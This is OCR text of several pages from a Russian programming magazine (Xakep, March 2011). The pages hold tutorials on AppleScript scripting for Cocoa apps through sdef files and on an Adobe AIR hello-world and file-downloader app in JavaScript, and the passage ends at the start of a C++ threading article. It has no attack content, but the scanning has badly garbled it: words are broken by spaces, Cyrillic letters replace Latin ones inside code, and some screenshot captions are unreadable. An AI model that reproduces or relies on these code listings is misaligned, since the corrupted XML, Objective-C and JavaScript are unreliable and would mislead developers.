Автоматизация в с:осоа-при"'ожении О ч е н ь полезно доба влять п одде ржку скрипти н га в свои Сосоа­п р иложе н и я , в едь если в твоем п р иложе н и и есть и нте рфейс к AppleScr ip t , то п ол ьзователь , н а п и са в н ескол ько стр о ч е к н а App leScr ip t , с м ожет касто м и з и ро вать е го для своих нужд и и нте грировать с другими п р иложе н и я м и , кото р ы е у н е го уста­н о вл е н ы , а зате м , н а п р и м е р , а втомати зировать р е ш е н и е рути н ­н ы х зада ч . Чтобы экспортировать типы и команды в среду AppleScript, необходи­мо их описать в специальных файлах, Есть возможность сделать это в файлах ,scriptSuite и .scri ptTerminology или в одном файле с рас­ши рением .sdef, В обоих случаях файлы имеют формат XML, но с sdef работать проще, Содержимое файла scriptTermonology отображается в Script Editor'e при п росмотре словаря приложения , Этот файл содержит описание экспортируемых в AppleScript объектов, Открыв sсгiрtSuitе-файл в Plist Editor'e, можно видеть, что он содер­жит следующие основные разделы : • AppleEventCode - четырехбуквенный код, который идентифицирует приложение для среды AppleScript [код должен быть уникальн ым в рамках одной системыl ; • Name - имя раздела, который содержит экспортируемые команды и классы , Разбирать внутреннее устройство этих файлов особого смысла нет, так как тебе скорее всего придется и меть дело только с sdеf-файлами,

Пример sdеf-файла < 7хт1 version= " 1 _ 0 " encoding= " UTF - 8 " 7>

� 1 03

Page 95: Хакер март 2011

.. 1row�trOcкUlNnt "lrowstrT�b'v'itwtltm

.. Comrn.lnds

�r,",r�I.;:,o""IIJ"�LIIIIC В Plist Editor-e

< ! DOCTYPE d i c t ionary SYSTEM " fi le : / / 1 oca1hos t /

System/Library/DTDs / sde f . dtd " >

<di c t i onary t i t l e= " My App 1 i ca t i on Termino1ogy " >

< ! - - Кастомный раздел - - >

<suite пате = " Му App 1 icat ion Scripting "

code= " XXXX"

descript ion= " Commands and c 1asses " >

<c 1asses>

<class name= " app1i c a t i o n " code= " capp "

desc ript ion= " "

inheri t s = " NSCoreSu i t e . NSApp 1 icat ion " >

<сосоа c 1 as s = " NSApp 1 icat ion " / >

<propert ies>

< ! - - экспортируем одно свойство - - >

<property пате = " some va1ue '

code= " sva1 " type= " st r i ng "

descript ion= " A va1ue " >

<сосоа method= " va1ue " / >

< /property>

< /propert ies>

< /c 1 a s s >

< / c 1 as s e s >

< / suite>

< / d i c t i onary>

в s d e f ' e с к р и п ти н г-те р м и н ол о г и я с м е ш а н а с подроб-ным о п и са н и е м ко м а нд и т и п о в , кото рое можно н а йти в , s с г i р t i п g S u i t - ф а й л а х , Реал изуем это на п р а кт и к е , созда в С о с о а - п р ил оже н и е , п одде ржи в а ю щ е е А р р lе S с г i рt i п g , Дл я этого в н о в о м Сосоа п р о е кте доба в и м в файл I n fo , p l i s t фла­жок Scr i p t i ng и ОSАSсгi р t i п g D е f i п i t i о п с и м е н е м н а ш е го sde f ­ф а й л а :

Info.plist

<key>NSApp1eScriptEnabled< / key>

< t ru e / >

<key>OSAScript i ngDe f in i t i on</ key>

< s t r i ng>Scrtipt ing . sdef < / s tr i ng>

Доба вим к проекту файл Scr ipt ing ,sdef следующего содержа н и я :

Scripting.sdef

< ?хт1 ver s i on= " l . O " епсоdiпg= " UТF- 8 " ?>

< ! DOCTYPE d i c t i onary SYSTEM

" f i l e : / ! loca1host / System/ Library / DTDs / sde f . dtd " >

<di c t i onary xm1ns : xi =

'' http : / /www . w3 . org/ 2 0 0 3 /Xlnc 1ude ''

t it 1 e= " Scripting d i c t i onary " >

< ! - - Включим стандартные команды/типы - - >

<xi : inc 1ude

href= " f i 1 e : / / / Sy s t em/Library/

� 1 04

Script ingDe f in i t i ons /CocoaStandard . sdef "

xpo inter= " xpointer ( /dict ionary / su i t e ) " / >

< su i t e name= " Script ing " code= " VVVV "

desc ript i on= " Test Script ing " >

< c l a s s name= " app1 i caton " code = " capp "

descript ion= " " >

<сосоа c l a s s = " NSApp l i c a t i on " / >

< ! - - Экспортируем одно readon1y свойство

у app 1 i cat ion - - >

<property пате = " myprop "

code= " Smrp " type= " st ring "

access= " r " / >

< / c1 a s s >

< / suite>

< / d i c t i onary>

И та к , из App leScr i p t ' a у н а с досту п н о одно с в о йство турго р , Оста л о с ь н а п и сать O b j C - КОА, кото р ы й будет о б р а ­батывать чте н и е да н н о го с в о й ства и з с к р и пто в , Для это го нужно с оздать кате го р и ю N S A p p l i ca t i o n , поскольку и м е н н о этот класс м ы в ы б р а л и в ка ч е стве п олуч ател я сообще н и й от с к р и пто в ,

# import <Cocoa/Cocoa . h>

@ interface NSApp1 icat ion ( Scripting)

- ( NS S t ring * ) myprop ;

@end

@impl ementat ion NSApp 1 i cat ion ( Sc r ipt ing )

- ( NS S t ring * ) myprop

return @ " Th i s is ту property " ;

Есл и мы теперь из AppleScript обратимся к свойствам нашего при­ложения , то увидим среди них свое свойство и е го значение :

t e l l app l icat ion " Script ing "

propert ies

end tell

Заключение Конечно, описать здесь все возможности AppleScript и его взаимо­действия с Сосоа-п р ил ожениями невозможно, Да это и не нужно - для этого есть мануал ы , А мы со своей сторо­н ы продолжим цикл статей о кодинге под эппловские платформы и расскажем тебе е ще много нового и и нте ресного , ::Х::

ХАКЕР оз / 1 46/ 2 0 1 1

Page 96: Хакер март 2011

• • И го рь « 5 p i d e r _NET» Антонов . v r - o n t i n e . r u

.... ы �имM СВЕЖИМ AIR'OM 8куриваем в АЦрЬе AIR -ф крgссплатdJорменную среду для онлаин- и оф Л�ИН-КОДИ�-Гd С) Время идет и все меняется . Кто бы мог подумать, что станет возможным писать десктопные приложения при помощи связки web-технологий - HTML+CSS+JavaScript. А ведь это реально уже три года! После появления технологии Adobe A IR взгляд на разработку «настольного» программного обеспечения изменился.

Платформа A IR не только внесла новизну, н о и существенно снизила план ку для желающих попасть в ряды девелоперов. Это не С++ с кучей непонятных WiпАРI. В AIR все гораздо п роще, и для созда ния профессиональных приложений не нужно быть гуру программирова­ния. Немного терпения, чтение попсовых мануалов - и вуаля : ты раз­работчик современных решений.

What is Adobe AIR Начнем с определ е н и я . Adobe A I R [Adobe I n tegrated R u nt i mel -

это кроссплатформен ная среда для выпол н е н и я п р иложен и й .

� 1 06

П риложе н и я для этой платформы разрабатываются с приме­нением техн ологий HTM L!CSS, AJax , Adobe Flex и Adobe Flash . Основное назначение платформы - пере нос web - п р ил оже н и й [R IA - R ich I nternet Appl icat ions l на дескто п . Одной из гла вн ы х фишек Adobe A IR , безусловно , является крос­с платформенность. Уже сейчас созда н н ы е п риложения пре­красно работают на многих платфо рмах [Windows, MacOS , L inux , QNX , Androi d l , кол ич ество которых в будущем будет только расти . Ув ы , в этом с п иске пока н ет Wi n dows Mob i le/Win dows Phone . Несомненно , этот факт огорчит некоторых разработч и ков , н о май-

ХАКЕР 03 / 1 46/ 20 1 1

Page 97: Хакер март 2011

Минусы АIR-приложений Несмотря на все гро мкие слова, у А IR-п риложений есть ряд ми­нусов . На мой взгляд, главный из них - кастрированный доступ к операционной системе. Настол ьные приложения в этом контек­сте однозначно выигрывают. Есл и тебе нужен фун кционал A IR­приложения , но тебя не устраивают огран ичения в плане доступа к возможностям ОС, то обязательно присмотрись к проекту Тitа п i um !см. соответствующую врезку] .

крософтовские мобил ьные подел ки в настоящее время постепен­но сдают свои позици и , та к что п ро цент огорченных окажется не та ким уж знач ител ьным . После п рочтения всего в ы ш есказанного может сложиться впе­чатление , что приложен и я , созда н н ые на базе Adobe AI R , н и в коем разе не п р и годны к ра боте без соеди нения с глобал ь­ной паути ной . Ведь, как вытекает из определ е н и я , основная зада ча технологии - перенос web- п риложен и й на ко м п ьютеры пользователей . Это не совсем та к . П риложен ия дл я Adobe AI R могут вы полнять зада ч и , инте рнет для которых вовсе не нуже н . Платформа п р едоста вл яет и м доступ к некото рым фун кциям О С [файловые операци и , буфер обме на , техн ология d ra g апd d rop и та к дал ее ] .

Как работают АIR-приложения А IR-приложения могут фун кциони ровать л и ш ь п р и нал и ч и и плат­формы [ и спол н ител ьной среды] Adobe A IR . Компилируются о н и не в дво и ч н ы й , а в п ром ежуто ч н ы й код, кото рый и будет вы полнять­ся в среде Adobe A I R . Сл едовател ьно, если ты нап исал нескол ько кач ественных п риложен и й под Windows, то и в u п iх- l ikе системах о н и будут работать совершенно а налогично .

Что нужно .QI1Я разработки AIR­прИЛбжени'И Итак, ты решил на чать разрабаты вать п р иложе н и я для платформы Adobe A IR . Что для этого нужно? Как и в л юбом дел е, нам потре­буется трезвая гол ова на плечах . Б ыстрен ько проверь ее нал и ч и е и возвращайся к те ксту статьи . В плане п рограммного обеспечения тебе понадоб ится сама платформа A IR , SDK и те ксто вый реда ктор для набивания кода будущих п риложе н и й . Первые два и н гредие нта ты можешь взять с официал ьного са йта [get .adobe.com/a i r/] . К редактору особых требова н и й нет, п и сать код ты можеш ь хоть в нотпаде, но для удобства луч ш е всего вос пол ьзоваться специали­зированным п родуктом . Если ты счастл и в ы й обладател ь толстого кошелька , то може ш ь п р и купить редактор от Adobe [ например , D rea mweave r] , а есл и , как и я , предпочитаешь э кономить, то рекоме ндую воспол ьзо ваться бесплатным Арtапа Stud io [аgtа па . сот] . Те, кто хоть раз работал с Ecl ipse , в Арtа па Stud io будут чув­ствовать себя ка к рыба в воде - Арtапа полностью построена на Ecl i pse, хотя ориентирована сугубо на web-разра ботч и ков [ h tml, css, j s ] . С разу из коробки Арtапа не гото ва сотрудничать с AI R - чтобы исправить это, тебе потребуется за грузить и уста но в ить специальный плагин [аgtапа .соm/gгоduсts/аi г] .

Воздушный «Hello world» Самое время з а конч ить с за нудной тео р и е й и поп робовать сотворить первое п р иложе н и е для платформы Ad obe A I R . Я надеюсь , что в кач естве среды разра ботки ты выбрал Арtа па Stud io . Есл и та к , то повто ряй все ш а ги за м н о й , а если нет -п ытайся разби раться по ходу дел а . Создай н о в ы й пустой проект и при с в о й ему имя «He lloWorld » . Обрати внимание , что требуется и менно пустой проект [ вкладка «Gепега l � P roject» ] . В этом случ ае Арtапа создаст голую папку

ХАКЕР 03 / 1 46/ 2 0 1 1

a �Wtb .�.tICrIi.Apt.nlStudio L� � � SqЮ-frojed � t1ooIp ; � - 1<: � ; Q .. С " . '" ;) \> - О - Q. - 4' - O !il iII . • - \'11 - - '" \>ISJ

�' - �, :- '" '" - -

et� �:<b--.l.;. ... :.t .. bttp •• q-�"" � �lIt.nt.ч-ре . =t�t-.tlt"t/М.а.1: Char •• t-Utt-S" '�-lit hb <H::t hr"t-"сзз/.".,.l" . .... • .. el" "3t Vl"'he",," nedЦ--..з.l" 1> iiI!I "PP"<.tioы;mI <tltle>t!poc;=A '"t'f:Y,-.. фаА.о:о .. :</tltl .. > 2J �tder.html <sc=lpt typ<t··t."t/)." ... cr1pt· jI:c-·ны�1rI/IRA11&. .... j.·><I • .сr��">

e C�j_ ("C=1.pt t�-pe_·t ... t/j.v •• "r1pt·>

<;;.. tO<:alГ�osy<t"'" <G. LoClI Sllorttw 6 '" @ (onn«tiono

. . I �! уа .. tl1e_lOrl " dDс=t.�t.lI.tl!:l ..... nt!l уI<lI ·tll ._ш:J. · I . "al\l.' n .. "."JЦ-th .. dCX:-"""'1'I�.Оес�t:lvoc,,�l!Vld ( · •• �J>&�!I·J ..... 1'

... r <lOOФlоаd_"�l - ...... a1.r.URUI; .. quec.� (rHec_""l) ;

.1ф��7. �����"F.�������_�� 1 �: .... " ,.."ll�r", ..... - ...... . '-". !JRU�r"''''' !I : _" !.l.l. - ..... • .I.� . r.l.l. ! ) ' !11".na�t .... Pa"!'I - .aV9<J'a;.h;

II--====-------пll �� Уа .. на!; ...... .. .... u.:: . r-�l.!tr .. ""'О :

, . Alqпentyaur Aptanll studiowlttt I WO!1CI ,Jass wYSrfIYG GeSIgner. МОЬе �.

�..". IAJR 111(: ... � pp ' /.!I1J:opl .. D<nm.loa<l..." . 1outl : 64 !In!I. ERII:Oa , �> .u...".,,� or .... t prop<:rly c.losed . Cl ф

1:.РР:/.!I�1 .. Dc:nrnlоаd .. :-.hС&1 : 65 !!"na. �iUlOR, (10) .u.n."ted 0:- nc." prOp<trlv сlоиd. Сl

J, [�:11 Aptana Studio существенно облегчает процесс разра­ботки

с именем п роекта , которая не будет содержать ничего л и ш него . Все , что потребуется , мы будем создавать самостоятел ьно. Хотя почему сам остоятел ьно? После установки плагина дл я ра боты с A IR доступен специальный мастер доба вл ения нового AI R ­проекта . Для созда н и я с его помощью нового проекта достаточно нескол ьких кл и ков м ы ш кой . Все шаблоны , конфи гурационные файлы и структура проекта будут созда н ы автоматически . П равда, вместе со скоростью ты также получ и ш ь кучу непо нятного и ненужно го кода . С образовател ьными цел я м и луч ше на чать писать руч ка м и , постепенно разбираясь со всеми тон костя м и и нюанса м и . Ита к, предполож и м , что ты создал ч и сты й проект и готов твор ить. Следующим шагом нам необходимо п р и нуди­тел ьно определ ить тип разрабаты ваемого п роекта. Заходим в « Propert ies» и в списке слева выбираем « Proj ect Na tures» . Сделав выбор , в правой части окна ты увиди ш ь список возмож­н ы х « па tuгеs» . Нас и нтересует л и ш ь « A I R Nature». Устанавливаем напроти в него флажок и жмем п и мпу с надписью « О К» . С типом проекта оп редел ились . Теперь надо позаботиться о е го структуре . Здесь четких правил н ет - по фа кту все созда ваемые файлы ты можешь кидать в ко рень проекта . Работать все будет правильно, но та кой подход нельзя назвать эстети ч н ы м . Луч ше сразу в ы рабо­тать правила и п ридержи ваться их : пусть первые структуры твоих п роекто в будут п росты м и , но главное , чтобы они был и . То есть все твои п роекты по структуре должны быть хоть ка к-то похожи . С каждым оче редн ы м своим дети щем ты будешь прокачи вать свои навыки , и рано или поздно найдеш ь опти мальн ы й вариант. П о ка ты тол ько н а ч и н а е ш ь вли ваться в м и р А I R - разработч и ко в , я реком ендую тебе п р идерживаться следующих правил : 1 . С о гл а ш е н и е об и м е н о ва н и и . З а руби себе на носу, что нужно сразу определ иться с п равилами и м е н о в а н и я файлов в проекте. Есл и тебе удобно п и сать названия файлов с маленько й буквы , то старайся так и делать. Н е нужно каждый раз л е п ить новый « ш едев р» . Это относ ится не тол ько к файл а м , н о и к именам переменных . Нужно п р идерживаться одного стиля . А если стиля нет, то ка к быть? Отвечаю . Нужно см отреть дем онстра ционные п р и м е р ы , поста вляемые с S D K . И х п и сал не абы кто, а л юд и , и м еющие самое неп осредственное отн о ш е н и е к разработке платформы A I R . У н и х есть чему поуч иться . 2_ Дл я каждого типа файлов должна быть своя директо рия . Разработка А IR -приложе н и й очень напоми нает созда ние типич­ного web-проекта - следо вател ьно , тут можно и нужно пользо­ваться всеми вытекающими отсюда правилами [ в плане струк­туры ] . Созда вай дл я различных типов файлов соответствую щие дире кто р и и . Например , все CSS, испол ьзуемые проекте, луч ш е всего хранить в одноименной директо р и и . Это относится и к изо-

� 1 07

Page 98: Хакер март 2011

В этой врезке я привел html-код, который будет оформлять контент разрабатываемого приложения . Для первого приложения я не стал придум ывать ничего особенного, а просто решил вывести посередине

.11

е

Connections HelloWorld

"'" изрядно всех доставшую фразу « Hello, World» IHa самом деле это я запретил ему использовать фразу « F**ck you , World», а ничего лучше он придумать не смог - прим.ред. l . Сохран и код, а затем открывай для редактирования файл application.xml. Этот файл п редназначен для хранения настроек АIR-приложения , и по-научному его принято называть дескриптор приложения. В дескрипторах хра нится вся необ­ходимая информация о приложени и : номер версии , оформление окна, назва ние , идентификатор и прочее. В своем проекте я дал дескрип­тору имя application.xml. Это имя не является обязательным , поэтому ты можешь обозвать свой дескриптор как угодно. Внутренности

• images js

� . ..

. . � application .xml j . . · · · ffi HelloWorld .html

Connections Local Filesystem Local Shortcuts FTP

� Connections Структура проекта « HelloWorld»

браже н и я м , JаvаSсгi рt-сценариям , и ко н ка м и та к далее . В своих проектах я п ридержи ваюсь примерно та кой структур ы :

«Проект»

css / / директория хранит все сss -файлы

j s / / в этой папке хранятся все сценарии j s

images / / папка ДЛЯ изображений

/ / конфигурационные файлы и другие основные файлы

Попробуем повторить вышесказа н н ое на практике . Создай для проекта три дире кто р и и : С55, image5, j5. Зате м в корень п роекта доба вь два файла : a p pl icat ion .xml и H elloWorld .h tml . М о ю структу­ру проекта ты може ш ь увидеть на соответствующем рисунке. Те перь возьмемся за редакти рова н и е созданных файлов . Начнем с H elloWorld . html . Этот файл является контентом п р ил оже н и я . П од контентом я подразумеваю основное содержимое проекта . Здесь могут быть указаны как h tml- , та к и 5wf-фаЙл ы . В своих при мерах я буду ориентироваться на html- конте нт. Ита к , откры­вай файл H e lloWorld .h tml в режиме редактирования кода и напи­ш и в нем код из врезки « Содержи м ое H elloWorld .h tml» .

Содержимое He!!oWor!d.htm!

<html>

<head>

< t i t le>He l l o World from AIR< / t i t le>< /head>

<body>

<center><hl>HELLO , WORLD ! </hl></center>

</body>

</html>

� 1 08

моего дескриптора я привел в о врезке « Внутренности дескри птора» . Неожиданно, ведь правда?

Внутренности дескриmора <?xml version= " l . O " encoding= "utf-8 " ?>

<appl ication xmlns= ''http : / /ns . adobe . com/air/

appl ication/ l . O " >

<id>com . xakep . Hel loWorld</ id>

< f i lename>Hel l o World< / f ilename>

<version> 1 . 0</vers ion>

< t i t le>Hel loWorld Application< / t i t le>

<initialWindow>

<content>Hel loWorld . html</ content>

<vis ible>true< /vis ible>

<height>lOO< /height>

<width>З ОО< /width>

<x>lOO< /x>

<y>lOO</y>

< / initialWindow>

< / appl icat ion>

Попробуем разоб раться в то м , что я здесь накарябал. В самой первой строчке я описываю объявл е н и е XML. Далее открываю начало элемента а р рl iсаt iоп - это основной элемент и он долже н содержать в себе все другие элементы , описывающие дескри п ­тор. Сам же a p pl icat ion должен содержать атри бут х m l П 5 с ука­за н н ы м путем к п ространству и м е н XML . Существует нескол ько п ространств и м е н для A I R - п риложе н и Й . Главное их отл и ч и е - н о м е р верс и и . Я указал п е рвую. Для бол ь ш и нства приложе­ний нужно поступ ать та ким же образо м . А к чему относится этот номер верс и и ? П од этим номером подразумевается м и н и м альная версия платформы Adobe A IR , н еобходимая для в ы п ол нения п р и ­л оже н и я . Внутр и элеме нта a ppl icat ion у меня располага ется е щ е р я д элем ентов : • i d - ун и кальный идентифи катор А IR-приложения . Официал ьная документация рекомендует испол ьзовать значения формата « сот . имя_издатеЛЯ . назван ие_приложения» . М а ксимальная дл ина иден­тификатора может составлять 2 1 2 символов; • f i l ename - имя а i г-фаЙла . П о м и м о и м е н и , это значение испол ьзуется в кач естве наименования п риложе н и я во время и н сталляции Iпри условии , что отсутствует эле м ент namel . • vers i on - версия п риложен и я : • t i t l e - з а головок окна и н сталлятора ; • ini t i alWindow - эл емент отвечает за контент и е го п ред­ставление . В качестве конте нта может быть как 5wf- , та к и h tml­файл IB нашем случае l . Данный эл емент может содержать дочер­ние эл е ме нты : • cont ent - и м я файла с контентом п р иложе н и я ; • v i s ib l e - видимость п р ил оже н и я ; • width - ш и р и н а о к н а п р иложен и я ; • he i ght - вы сота о к н а п р иложе н и я ; • Х - коорди н ата п озиции на о с и Х ; • у - коорди ната позиции на оси У;

Х А К Е Р 0 3 / 1 46/ 20 1 1

Page 99: Хакер март 2011

. Простой 3агруэчик файлов: lc::J"ф@) ] [ ка чалка 0. 1 . 1

Что качать: http:// --.J Куда сохранять: C:\temp\ [ Скачать! )

8ЬIГЛЯДИТ неприятно?

• t ransparent - п роз рачность окна ; • r e s i zab l e - возм ожн ость изменения раз м е ра окна ; и т.д.

.

В дескрипторе также могут присутствовать другие элементы . О н и х т ы узнаешь , прочитав официальную документа цию или заметку на моем сайте vr-online . ru/content/adobe-a ir-d irective5-2003. На этом м ожно считать, что п роцесс разработки п ростейшего п риложения для платформы Ad obe A IR завершен . Поп робуем е го п ротести ро­вать. Жмем в Арtапа 5tudio кнопку « В ы полн ить» и л и цезреем пока не очень красивую карти н ку [смотри соответствующий рисунокl . Наше п р иложен и е готово, н о выглядит оно, м я гко говоря , не очень. Да и фун кционал в нем сом н ител ь н ы й . Хорошо, сейчас мы н е м но го усложн и м задачу и дора бота ем наш « H ello Wo rld» до более и нтересного состояния .

Делаем качалку файлов я долго думал, какой при мер стоит рассмотреть, и решил оста но­виться на созда нии простейшей качалки файлов. Почему именно качалки? Так ведь алгоритм получения информации с удаленных серверов нужен сплош ь и рядом , поэтому рассмотренный пример­чик обязател ьно пригодится в будущем. Добавь в Apta na 5tudio новый проект и п рисвой ему имя « 5 im pleOowload». С разу же при ведем свежесозда н н ы й проект к еди ной структуре - создай в папке проекта дополн ител ьные папки : С55, j5 , image5. Я уже говорил , что привы кать к п равиль­н ому нужно с самого начала . Следующим твои м действием будет созда ние фа йла-дескриптора для будущего п риложения . Е го код я приводить не стану, так как он полностью иденти чен тому, кото­рый написан во второй врез ке . Скоп и руй его или набери заново, а после этого созда вай файл 5i mрlе Ооwпlоаdег. h tml. Ты уже зна­ешь, что в этом файле будет располагаться основная програ м м ная начинка нашего п риложения . Сразу же нарисуем в этом файле и нтерфейс. HTML-KOA элементов управления я при вел во врезке « Делаем и нтерфейс п риложения» .

Делаем интерфейс приложения

<body>

<center><hl> ] [ качалка O . l . l</hl></center><br / ><br / >

<b><label сlаss= " lаЬе l " >Что качать : < /Ь>

<input type= " text " i d= " f i le_url " value= '' http : / / ''

s i zе= " З О " ></ lаЬеl><Ьr / >

<b><label сlаss= " lаЬеl " >Куда сохранять : < /Ь>

< input type= " t ext " id= " save-'path" value= " C : \temp \ "

sizе= " З О " >< / lаЬеl><Ьr / >

<button onc l ick= " downloadIt ( ) ; " >Скачать ! </Ьuttоп>

</body>

П ерепиши приведенный код и попробуй запустить п риложение. Если от вида приложения ты почувствуешь рвотные позывы - не огорчай-

ХАКЕР 03 / 1 46/ 2 0 1 1

. Простой 3аГРУЭЧИК файлов: l= ! @) ] [ ка ч а л ка 0. 1 . 1

Что качать: I http://\ I Куда сохранять: [ Скачать! ) C:\temp\ --- J

Немного CSS - и наше приложение расцвело

СЯ : не все, что делается в АdоЬ'овских и Аррlе'вских продуктах, долж­но быть прекрасным . Сейчас я покажу, как можно быстро испра вить ситуацию при помощи всего лишь нескольких строк С55-кода. Закрывай запущенный при мер и создай в папке с С55 новый файл. П рисвой ему имя 5tyle.c55 и напиши в него следующее:

. label {

hl

f loat : le f t ;

width : 2 0em;

text -al ign : left ;

c lear : le f t ;

margin-right : 2 0рх;

color : #A77FFF ;

color : # 0 0 8CFF ;

Сохрани внесенные в файл изменения и подключи созданный С55-файл к 5impleOownloader.html. Подкл ючение вы пол няется при помо­щи одной строчки кода (ее пишем в head l :

<l ink hre f = " cs s / style . cs s " rel= " stylesheet " media= " a l l "

/>

Как справишься с этим заданием, вновь выполни сохранение п роекта и п роведи повторный запуск. Если ты все сделал без косяков, то наш гадкий утенок получит более презентабельный вид. После при мене­ния С55 все стало вы глядеть луч ше, но это еще не повод останавли­ваться. Если ты пользуешься С55 не первый день, то тебе не составит труда придать приложению еще более шикарный вид. На этом можно сч итать, что разработка красивостей окончена , и пора переходить к написанию Java5cript кода. Эх, ка к вспомню, что е ще каких-то лет восемь назад н и кто и подумать не мог, что язык Java5cript начнет испол ьзоваться повсеместно . . . А сегодня уже тяжело п редставить жизнь без н его. Для создания иксовой качал­ки нам потребуется помощь библиотеки AI RAlia5e5.j5, входящей в состав Adobe AI R 50К. Подключим ее к нашему файлу-контенту:

<script type= " text / j avascript " src= " l ib!air/AlRAliases .

j S " >< / s cript>

Из этой библиоте ки мы воспол ьзуемся объекта м и U R L5tream, U R LReq uest и та к дал ее. П р и помощи перво го, собственно , и будет вы полняться за грузка файла с удале н н ого сервера . В 5 0 К есть другой (более простой в обраще н и и , хотя . . . 1 объект, п р и помощи которого м ожно орга н изовать за грузку файлов , но U R L5tream куда луч ш е подходит для за грузки больших файлов [См . соответствующую врез куl .

� 1 09

Page 100: Хакер март 2011

Загрузка файлов

function downloadl t ( )

var f i l e_url �

document . getElementByld ( ' fi le_url ' ) . value ;

var save-path � document . getElementByld (

' save-path ' ) . value + " \ \ "

+ GetFilename ( f ile_url ) ;

var download_url � new air . URLRequest ( fi le_url ) ;

var urlStream � new a i r . URLStream ( ) ;

var f i l e � new air . Fi le ( ) ;

f i l e . nat ivePath � save-pat h ;

var f i leStream � new a i r . FileStream ( ) ;

urlStream . addEventListener (

air . ProgressEvent . PROGRESS ,

function ( ) {

writeToFi l e ( event , urlStream , f i leStream) ;

) , false ) ;

urlStream . addEventListener (

air . Event . COMPLETE ,

function ( ) {

saveFile ( event , urlStream, f i l eStream) ;

) , false ) ;

f ileStream . open ( fi l e , a i r . Fi leMode . WRITE ) ;

urlStream . load ( download_url ) ;

function writeToF i l e ( e , urlStream, f i l eStream)

if ( urlStream . bytesAva i l able > О )

var data � new air . ByteArray ( ) ;

urlStream . readBytes ( data , О ,

urlStream . bytesAvai lable ) ;

f ileStream . writeBytes (da t a , О , data . length) ;

function saveF i l e ( e , urlStream , f i leStream)

var data � new air . ByteArray ( ) ;

urlStream . readBytes (dat a , О ,

urlStream . bytesAvai lable) ;

f i leStream. writeBytes ( data , О , data . length ) ;

f i leStream . c lose ( ) ;

alert ( " Загрузка файла завершена ! " ) ;

Н а первый взгляд этот код может показаться сл и ш ком большим и сложным . Ну и что. зато есл и нап исать то же самое на Delph i/C++. то по объему получ ится е ще бол ьше. а на внешний вид - е ще страшнее . В самом начале листинга я оп ределя ю ряд служебных переменных . Нарочно не делаю н и каких дополн ител ьных п роверок, я доверяю и сохраняю в переменные f i le_u rl и save_path ссылку на за гружа е­мый файл и путь записи фа йла на локальном ком пьютере соот­ветственно . Получ и в пути к файлам , я создаю э кземпляры объектов U RLRequest !содержит путь к за гружаемому фа йлу] , U R LStream [наш поток] и File [взаи модействие с файла м и ] . После завершения и н ициализации объектов необходи мо запустить процесс закачки

� 1 1 0

файла и определить обработч ики событий . В о время их срабатыва­н ия будут выполняться фун кции writeTo Fi le [ J и saveFi le [ ] . Ка к только наше п р иложение получит оп ределен ную порцию да нных , будет вызы ваться функция , выпол н я ющая их запись . Событие COM PLETE будет св идетельствовать о завершении за грузки файла и вызовет функцию save Fi le l l . Она запи шет последн и е п олученные да нные и за кроет файл . Собственно , на этом разбор листинга можно сч итать оконченным . Я понимаю, что тебе многое может быть непонятн ы м , но я и так превысил выделенны

,Й для статьи л и м ит места, и редактор уже

угрожает мне анальной стимуляцией , поэтому не подводи меня , а проштудируй самостоятельно справочник по JS [без этого в мире AI R делать нечего] . Особо пристальное вн имание обрати на анонимные функции . С их помощью я решил п роблему передачи дополн ител ьных па раметров в фун кции writeTo Fi le [ J и save Fi le l l .

Полет окончен Adobe A I R п р едоста вляет массу возможносте й . Чтобы н а ч ать п исать п р иложе н и я для это й платфор м ы , не нужно быть суп е р ­гуру с десятью кило гра м м а м и мозгов . Достато ч н о поч итать н е м н ого л ите ратуры и п одойти к делу м а кс и м а л ь н о творчески . При всей п ростоте , эта тех н ол о ги я с м о гла завое вать п о пул я р ­н ость ка к среди ко м п а н и й - г и га нто в [ н а п ри м е р , ya h o o ] , та к и среди п р о стых разра ботч и ко в . Н адеюсь , она п о н р а в ится и тебе . Уда ч и l I

Не AIR единым Adobe AIR - штука прикольная, но уже сейчас у него есть достаточно сильный оппонент. Имя ему - Titan ium [как-то в ] [ была статья про эту зверюшку]. По сути, Titun ium умеет многое из того, что и Adobe AIR, плюс несколько оригинальных и, самое главное, полезных фич : возможность выбора в качестве языка программирова ния Python, Ru by, РНР и JavaScript; созда ние дополнительных процессов; НТТР­сервер; асинхрон ные события и так далее. Помимо всего перечис­ленного, Titanium [appcelerator.com/products] дурманит запахом полной свободы. Это полностью бесплатн ый [в отл ичие oTAdobe AIR] Ореп Source продукт. Вдобавок к этому, титаниум позволяет не только разрабатывать, но и распространять приложения, получая детальную статистику по загрузкам.

Простейший способ переноса web-приложения на десктоп После прочтения статьи ты наверняка захочешь смастерить десктоп­ный вариант своего са йта/блога ил и еще чего-либо. Несомненно, тебе в этом поможет платформа Adobe AIR , но учти , что для типовых ситуаций есть более простой способ. Я говорю о проекте Mozilla Prism

[prism.mozi lla .com] . По адресу сайта проекта несложно понять, что его кури рует Mozilla Corporation - разработч ики браузера FireFox. При помощи Prism ты сможешь в несколько кликов сотворитьдесктопную версию любого web-сервиса. Стоиттолько отдавать себе отчет в том, что полноценный перенос с хранилищем для данных, созданных во время автономной работы, Prism, конечно же, сделать не сможет. Перенос таких проектов без программирования нереален. А вот избавиться от браузера для работы с определенным web-сервисом вполне можно. Как это будет выглядеть ? Ты выбираешь сайт или сервис [например, почту] и вбиваешь соответствующие настройки в конфигуратор Prism. После этого будут созданы ярлыки для быстрого запуска. Когда потребуется зайти в web-почтовик, достаточно будет за пустить ярлык, и ты сразу же окажешься в почтовом ящике. Други ми словами , Prism представляетсобой простейший браузер [основан на XULRunner] без привычного G U I .

ХАКЕР 0 3 /146/ 20 1 1

Page 101: Хакер март 2011

Проrpаммерские типсы и триксы

Многопоточные классы

е Сегодня практически все ОС поддерживают многозадачность. Потоки, процессы и прочие атрибуты сейчас уже не кажутся чем-то страшным и необычным. Мультипоточность используется практически в любом современном приложении. А еще в наше время очень активно применяется ооп. Сегодня мы узнаем, как в С++ подружить между собой и многопоточность, и ооп.

Перед нами стоит задача написать класс, который будет за пускать некоторый код в отдельном треде. Для этого будем использовать стандартную функцию Windows API - CreateThread. Более подхо­дящим решением было бы применить _Ьеg iпth геаd из стандартной библиотеки , но для отражения общей сути CreateThread вполне сго­дится. Давай взгля нем на код.

Создание потока из класса DWORD WINAPI ThreadFunc ( LPVOI D lpParam)

// тут мы не можем получить доступ к

/ / закрытым членам класса

return О ;

c l a s s MyClass

} ;

pub l i c :

MyClass (void) ;

-МуСlаs s ( vоid ) ;

void RunThread ( ) ;

privat e :

int m_intVar ;

void MyClass : : RunThread ( )

НANDLE hThread;

DWORD idThread;

